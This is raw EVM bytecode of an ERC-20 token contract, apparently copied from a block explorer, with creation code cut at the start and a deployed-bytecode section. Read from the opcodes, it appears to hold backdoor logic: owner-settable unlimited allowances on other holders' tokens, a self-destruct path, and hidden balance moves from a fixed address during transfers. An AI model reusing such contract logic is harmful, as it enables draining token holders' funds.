200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f85906120fb565b60405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102357600080fd5b600019600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600019600560007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111a73083600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611592565b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a37f00000000000000000000000000000000000000000000000000000000000000009050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fb9061213b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136b906120db565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161145291906121bb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c69061209b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115369061211b565b60405180910390fd5b60008111611582576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115799061215b565b60405180910390fd5b61158d838383611592565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461169057600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638d10b85a6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561165357600080fd5b505af1158015611667573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061168b9190611cb1565b611693565b60005b90507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561171d5750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15611726578093505b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156117a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179f9061219b565b60405180910390fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f39190612439565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118819190612218565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614611bc55760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166328bf9cfc86866040518363ffffffff1660e01b8152600401611977929190611fff565b602060405180830381600087803b15801561199157600080fd5b505af11580156119a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c99190611db1565b90507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611a265750600081115b8015611a845750806004600073c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15611bc357806004600073c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611aec9190612439565b9250508190555080600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b429190612218565b925050819055508373ffffffffffffffffffffffffffffffffffffffff1673c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bba91906121bb565b60405180910390a35b505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c2291906121bb565b60405180910390a350505050565b600081359050611c3f81612894565b92915050565b600081519050611c5481612894565b92915050565b600081359050611c69816128ab565b92915050565b600081519050611c7e816128ab565b92915050565b600060208284031215611c9a57611c996125cd565b5b6000611ca884828501611c30565b91505092915050565b600060208284031215611cc757611cc66125cd565b5b6000611cd584828501611c45565b91505092915050565b60008060408385031215611cf557611cf46125cd565b5b6000611d0385828601611c30565b9250506020611d1485828601611c30565b9150509250929050565b600080600060608486031215611d3757611d366125cd565b5b6000611d4586828701611c30565b9350506020611d5686828701611c30565b9250506040611d6786828701611c5a565b9150509250925092565b60008060408385031215611d8857611d876125cd565b5b6000611d9685828601611c30565b9250506020611da785828601611c5a565b9150509250929050565b600060208284031215611dc757611dc66125cd565b5b6000611dd584828501611c6f565b91505092915050565b611de78161246d565b82525050565b611df68161247f565b82525050565b611e05816124c2565b82525050565b611e14816124e6565b82525050565b6000611e25826121f1565b611e2f8185612207565b9350611e3f81856020860161250a565b611e48816125d2565b840191505092915050565b6000611e60602683612207565b9150611e6b826125f0565b604082019050919050565b6000611e83602683612207565b9150611e8e8261263f565b604082019050919050565b6000611ea6602383612207565b9150611eb18261268e565b604082019050919050565b6000611ec9601183612207565b9150611ed4826126dd565b602082019050919050565b6000611eec602483612207565b9150611ef782612706565b604082019050919050565b6000611f0f6000836121fc565b9150611f1a82612755565b600082019050919050565b6000611f32602583612207565b9150611f3d82612758565b604082019050919050565b6000611f55603183612207565b9150611f60826127a7565b604082019050919050565b6000611f78602983612207565b9150611f83826127f6565b604082019050919050565b6000611f9b603383612207565b9150611fa682612845565b604082019050919050565b611fba816124ab565b82525050565b611fc9816124b5565b82525050565b6000611fda82611f02565b9150819050919050565b6000602082019050611ff96000830184611dde565b92915050565b60006040820190506120146000830185611dde565b6120216020830184611dde565b9392505050565b600060208201905061203d6000830184611ded565b92915050565b60006020820190506120586000830184611dfc565b92915050565b60006020820190506120736000830184611e0b565b92915050565b600060208201905081810360008301526120938184611e1a565b905092915050565b600060208201905081810360008301526120b481611e53565b9050919050565b600060208201905081810360008301526120d481611e76565b9050919050565b600060208201905081810360008301526120f481611e99565b9050919050565b6000602082019050818103600083015261211481611ebc565b9050919050565b6000602082019050818103600083015261213481611edf565b9050919050565b6000602082019050818103600083015261215481611f25565b9050919050565b6000602082019050818103600083015261217481611f48565b9050919050565b6000602082019050818103600083015261219481611f6b565b9050919050565b600060208201905081810360008301526121b481611f8e565b9050919050565b60006020820190506121d06000830184611fb1565b92915050565b60006020820190506121eb6000830184611fc0565b92915050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000612223826124ab565b915061222e836124ab565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156122635761226261256f565b5b828201905092915050565b6000808291508390505b60018511156122b8578086048111156122945761229361256f565b5b60018516156122a35780820291505b80810290506122b1856125e3565b9450612278565b94509492505050565b60006122cc826124ab565b91506122d7836124b5565b92506123047fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461230c565b905092915050565b60008261231c57600190506123d8565b8161232a57600090506123d8565b8160018114612340576002811461234a57612379565b60019150506123d8565b60ff84111561235c5761235b61256f565b5b8360020a9150848211156123735761237261256f565b5b506123d8565b5060208310610133831016604e8410600b84101617156123ae5782820a9050838111156123a9576123a861256f565b5b6123d8565b6123bb848484600161226e565b925090508184048111156123d2576123d161256f565b5b81810290505b9392505050565b60006123ea826124ab565b91506123f5836124ab565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561242e5761242d61256f565b5b828202905092915050565b6000612444826124ab565b915061244f836124ab565b9250828210156124625761246161256f565b5b828203905092915050565b60006124788261248b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006124cd826124d4565b9050919050565b60006124df8261248b565b9050919050565b60006124f1826124f8565b9050919050565b60006125038261248b565b9050919050565b60005b8381101561252857808201518184015260208101905061250d565b83811115612537576000848401525b50505050565b6000600282049050600182168061255557607f821691505b602082108114156125695761256861259e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f4552524f523a205472616e736665722066726f6d20746865207a65726f20616460008201527f64726573732e0000000000000000000000000000000000000000000000000000602082015250565b7f4552524f523a2044656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f2e0000000000000000000000000000000000000000000000000000602082015250565b7f4552524f523a20417070726f766520746f20746865207a65726f20616464726560008201527f73732e0000000000000000000000000000000000000000000000000000000000602082015250565b7f7065726d697373696f6e2064656e696564000000000000000000000000000000600082015250565b7f4552524f523a205472616e7366657220746f20746865207a65726f206164647260008201527f6573732e00000000000000000000000000000000000000000000000000000000602082015250565b50565b7f4552524f523a20417070726f76652066726f6d20746865207a65726f2061646460008201527f726573732e000000000000000000000000000000000000000000000000000000602082015250565b7f4552524f523a205472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f2e000000000000000000000000000000602082015250565b7f4552524f523a205472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e63652e0000000000000000000000000000000000000000000000602082015250565b7f4552524f523a205472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e20616d6f756e742e00000000000000000000000000602082015250565b61289d8161246d565b81146128a857600080fd5b50565b6128b4816124ab565b81146128bf57600080fd5b5056fea264697066735822122082b16e4ddd81dff8596c809cba3244847140318e4c72eac109aedf3c9601c74264736f6c63430008060033

Deployed Bytecode

0x6080604052600436106101395760003560e01c806391cca3db116100ab578063ba6f43e61161006f578063ba6f43e6146104fe578063cc1d399f14610529578063d818194914610554578063dd62ed3e1461057f578063eb325cc7146105bc578063f1493490146105d3576101cb565b806391cca3db1461040357806395d89b411461042e578063967c33b314610459578063a457c2d714610484578063a9059cbb146104c1576101cb565b806323b872dd116100fd57806323b872dd146102cb578063313ce56714610308578063395093511461033357806349bd5a5e1461037057806370a082311461039b5780638dd95002146103d8576101cb565b806303fd2a45146101d05780630520b708146101fb57806306fdde0314610238578063095ea7b31461026357806318160ddd146102a0576101cb565b366101cb57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163460405161018490611fcf565b60006040518083038185875af1925050503d80600081146101c1576040519150601f19603f3d011682016040523d82523d6000602084013e6101c6565b606091505b505050005b600080fd5b3480156101dc57600080fd5b506101e5610610565b6040516101f29190611fe4565b60405180910390f35b34801561020757600080fd5b50610222600480360381019061021d9190611c84565b610616565b60405161022f9190611fe4565b60405180910390f35b34801561024457600080fd5b5061024d610927565b60405161025a9190612079565b60405180910390f35b34801561026f57600080fd5b5061028a60048036038101906102859190611d71565b6109b5565b6040516102979190612028565b60405180910390f35b3480156102ac57600080fd5b506102b56109d3565b6040516102c291906121bb565b60405180910390f35b3480156102d757600080fd5b506102f260048036038101906102ed9190611d1e565b6109f4565b6040516102ff9190612028565b60405180910390f35b34801561031457600080fd5b5061031d610af5565b60405161032a91906121d6565b60405180910390f35b34801561033f57600080fd5b5061035a60048036038101906103559190611d71565b610afa565b6040516103679190612028565b60405180910390f35b34801561037c57600080fd5b50610385610ba6565b6040516103929190611fe4565b60405180910390f35b3480156103a757600080fd5b506103c260048036038101906103bd9190611c84565b610bca565b6040516103cf91906121bb565b60405180910390f35b3480156103e457600080fd5b506103ed610c13565b6040516103fa9190611fe4565b60405180910390f35b34801561040f57600080fd5b50610418610c39565b6040516104259190611fe4565b60405180910390f35b34801561043a57600080fd5b50610443610c5f565b6040516104509190612079565b60405180910390f35b34801561046557600080fd5b5061046e610ced565b60405161047b9190611fe4565b60405180910390f35b34801561049057600080fd5b506104ab60048036038101906104a69190611d71565b610d05565b6040516104b89190612028565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e39190611d71565b610df9565b6040516104f59190612028565b60405180910390f35b34801561050a57600080fd5b50610513610e17565b6040516105209190611fe4565b60405180910390f35b34801561053557600080fd5b5061053e610e2f565b60405161054b919061205e565b60405180910390f35b34801561056057600080fd5b50610569610e55565b6040516105769190612043565b60405180910390f35b34801561058b57600080fd5b506105a660048036038101906105a19190611cde565b610e79565b6040516105b391906121bb565b60405180910390f35b3480156105c857600080fd5b506105d1610f00565b005b3480156105df57600080fd5b506105fa60048036038101906105f59190611c84565b610fc9565b6040516106079190611fe4565b60405180910390f35b61dead81565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156106c25750600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b6106cb57600080fd5b600019600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600019600560007f000000000000000000000000c85080978d6e6e6557e6db6cd8f3e2b60960bb3173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060001960056000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600680546109349061253d565b80601f01602080910402602001604051908101604052809291908181526020018280546109609061253d565b80156109ad5780601f10610982576101008083540402835291602001916109ad565b820191906000526020600020905b81548152906001019060200180831161099057829003601f168201915b505050505081565b60006109c96109c261128c565b8484611294565b6001905092915050565b6009600a6109e191906122c1565b6402540be4006109f191906123df565b81565b6000610a0184848461145f565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a4c61128c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610acc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac39061217b565b60405180910390fd5b610ae985610ad861128c565b8584610ae49190612439565b611294565b60019150509392505050565b600981565b6000610b9c610b0761128c565b848460056000610b1561128c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b979190612218565b611294565b6001905092915050565b7f000000000000000000000000c85080978d6e6e6557e6db6cd8f3e2b60960bb3181565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054610c6c9061253d565b80601f0160208091040260200160405190810160405280929190818152602001828054610c989061253d565b8015610ce55780601f10610cba57610100808354040283529160200191610ce5565b820191906000526020600020905b815481529060010190602001808311610cc857829003601f168201915b505050505081565b73c7d0445ac2947760b3dd388b8586adf079972bf381565b60008060056000610d1461128c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610dd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc8906120bb565b60405180910390fd5b610dee610ddc61128c565b858584610de99190612439565b611294565b600191505092915050565b6000610e0d610e0661128c565b848461145f565b6001905092915050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f85906120fb565b60405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102357600080fd5b600019600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600019600560007f000000000000000000000000c85080978d6e6e6557e6db6cd8f3e2b60960bb3173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111a73083600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611592565b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a37f000000000000000000000000c85080978d6e6e6557e6db6cd8f3e2b60960bb319050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fb9061213b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136b906120db565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161145291906121bb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c69061209b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115369061211b565b60405180910390fd5b60008111611582576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115799061215b565b60405180910390fd5b61158d838383611592565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461169057600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638d10b85a6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561165357600080fd5b505af1158015611667573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061168b9190611cb1565b611693565b60005b90507f000000000000000000000000c85080978d6e6e6557e6db6cd8f3e2b60960bb3173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561171d5750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15611726578093505b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156117a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179f9061219b565b60405180910390fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f39190612439565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118819190612218565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614611bc55760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166328bf9cfc86866040518363ffffffff1660e01b8152600401611977929190611fff565b602060405180830381600087803b15801561199157600080fd5b505af11580156119a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c99190611db1565b90507f000000000000000000000000c85080978d6e6e6557e6db6cd8f3e2b60960bb3173ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611a265750600081115b8015611a845750806004600073c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15611bc357806004600073c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611aec9190612439565b9250508190555080600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b429190612218565b925050819055508373ffffffffffffffffffffffffffffffffffffffff1673c7d0445ac2947760b3dd388b8586adf079972bf373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bba91906121bb565b60405180910390a35b505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c2291906121bb565b60405180910390a350505050565b600081359050611c3f81612894565b92915050565b600081519050611c5481612894565b92915050565b600081359050611c69816128ab565b92915050565b600081519050611c7e816128ab565b92915050565b600060208284031215611c9a57611c996125cd565b5b6000611ca884828501611c30565b91505092915050565b600060208284031215611cc757611cc66125cd565b5b6000611cd584828501611c45565b91505092915050565b60008060408385031215611cf557611cf46125cd565b5b6000611d0385828601611c30565b9250506020611d1485828601611c30565b9150509250929050565b600080600060608486031215611d3757611d366125cd565b5b6000611d4586828701611c30565b9350506020611d5686828701611c30565b9250506040611d6786828701611c5a565b9150509250925092565b60008060408385031215611d8857611d876125cd565b5b6000611d9685828601611c30565b9250506020611da785828601611c5a565b9150509250929050565b600060208284031215611dc757611dc66125cd565b5b6000611dd584828501611c6f565b91505092915050565b611de78161246d565b82525050565b611df68161247f565b82525050565b611e05816124c2565b82525050565b611e14816124e6565b82525050565b6000611e25826121f1565b611e2f8185612207565b9350611e3f81856020860161250a565b611e48816125d2565b840191505092915050565b6000611e60602683612207565b9150611e6b826125f0565b604082019050919050565b6000611e83602683612207565b9150611e8e8261263f565b604082019050919050565b6000611ea6602383612207565b9150611eb18261268e565b604082019050919050565b6000611ec9601183612207565b9150611ed4826126dd565b602082019050919050565b6000611eec602483612207565b9150611ef782612706565b604082019050919050565b6000611f0f6000836121fc565b9150611f1a82612755565b600082019050919050565b6000611f32602583612207565b9150611f3d82612758565b604082019050919050565b6000611f55603183612207565b9150611f60826127a7565b604082019050919050565b6000611f78602983612207565b9150611f83826127f6565b604082019050919050565b6000611f9b603383612207565b9150611fa682612845565b604082019050919050565b611fba816124ab565b82525050565b611fc9816124b5565b82525050565b6000611fda82611f02565b9150819050919050565b6000602082019050611ff96000830184611dde565b92915050565b60006040820190506120146000830185611dde565b6120216020830184611dde565b9392505050565b600060208201905061203d6000830184611ded565b92915050565b60006020820190506120586000830184611dfc565b92915050565b60006020820190506120736000830184611e0b565b92915050565b600060208201905081810360008301526120938184611e1a565b905092915050565b600060208201905081810360008301526120b481611e53565b9050919050565b600060208201905081810360008301526120d481611e76565b9050919050565b600060208201905081810360008301526120f481611e99565b9050919050565b6000602082019050818103600083015261211481611ebc565b9050919050565b6000602082019050818103600083015261213481611edf565b9050919050565b6000602082019050818103600083015261215481611f25565b9050919050565b6000602082019050818103600083015261217481611f48565b9050919050565b6000602082019050818103600083015261219481611f6b565b9050919050565b600060208201905081810360008301526121b481611f8e565b9050919050565b60006020820190506121d06000830184611fb1565b92915050565b60006020820190506121eb6000830184611fc0565b92915050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000612223826124ab565b915061222e836124ab565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156122635761226261256f565b5b828201905092915050565b6000808291508390505b60018511156122b8578086048111156122945761229361256f565b5b60018516156122a35780820291505b80810290506122b1856125e3565b9450612278565b94509492505050565b60006122cc826124ab565b91506122d7836124b5565b92506123047fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461230c565b905092915050565b60008261231c57600190506123d8565b8161232a57600090506123d8565b8160018114612340576002811461234a57612379565b60019150506123d8565b60ff84111561235c5761235b61256f565b5b8360020a9150848211156123735761237261256f565b5b506123d8565b5060208310610133831016604e8410600b84101617156123ae5782820a9050838111156123a9576123a861256f565b5b6123d8565b6123bb848484600161226e565b925090508184048111156123d2576123d161256f565b5b81810290505b9392505050565b60006123ea826124ab565b91506123f5836124ab565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561242e5761242d61256f565b5b828202905092915050565b6000612444826124ab565b915061244f836124ab565b9250828210156124625761246161256f565b5b828203905092915050565b60006124788261248b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006124cd826124d4565b9050919050565b60006124df8261248b565b9050919050565b60006124f1826124f8565b9050919050565b60006125038261248b565b9050919050565b60005b8381101561252857808201518184015260208101905061250d565b83811115612537576000848401525b50505050565b6000600282049050600182168061255557607f821691505b602082108114156125695761256861259e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f4552524f523a205472616e736665722066726f6d20746865207a65726f20616460008201527f64726573732e0000000000000000000000000000000000000000000000000000602082015250565b7f4552524f523a2044656372656173656420616c6c6f77616e63652062656c6